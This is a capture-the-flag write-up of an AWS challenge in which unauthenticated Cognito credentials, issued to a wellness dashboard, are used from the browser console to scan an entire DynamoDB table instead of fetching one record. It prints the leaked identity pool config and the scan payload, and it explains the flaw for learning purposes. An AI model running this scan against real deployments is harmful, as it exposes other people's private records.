Hacker Holidays Day 3: Complimentary
A guest wellness dashboard on AWS S3 hands anonymous visitors temporary AWS credentials so the browser can pull their own record from DynamoDB, no login. The job is to use those credentials to read more than my own record.
Finding the client side logic
Developer tools (F12), Sources tab. Inside app.js the app fetched a single
record scoped to the current guest:
Spoiler: the vulnerable client code
const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
dynamodb.getItem({ TableName: TABLE_NAME, Key: { guest_id: { S: guestId() } } }, (err, data) =>
renderDashboard(data.Item),
);
It uses AWS Cognito identity pools to issue temporary unauthenticated credentials to the browser. Digging further gave the config:
Spoiler: the leaked identity pool config
const IDENTITY_POOL_ID = 'us-east-1:836c0949-292d-485b-b532-52d5ca7bb688';
const AWS_REGION = 'us-east-1';
const TABLE_NAME = 'complimentary-GuestWellnessProfiles';
The Network tab confirmed it: a request to cognito-identity.us-east-1.amazonaws.com
with target GetCredentialsForIdentity returned a full set of temporary
credentials to anyone loading the page.
Asking for more than the app does
The app chose to call getItem for one guest, but nothing stops the underlying
IAM credentials from a wider call. The restriction lived in the JavaScript, not
in the role. The SDK and credentials were already loaded by the page, so I ran
this in the Console:
Spoiler: the scan payload
new AWS.DynamoDB({ region: 'us-east-1' }).scan(
{ TableName: 'complimentary-GuestWellnessProfiles' },
(err, data) => console.log(err ? err.message : JSON.stringify(data, null, 2)),
);
scan asks for the whole table. The guest role allowed dynamodb:Scan, not just
dynamodb:GetItem, and it handed back every record, one of which held the flag.
Redacted here.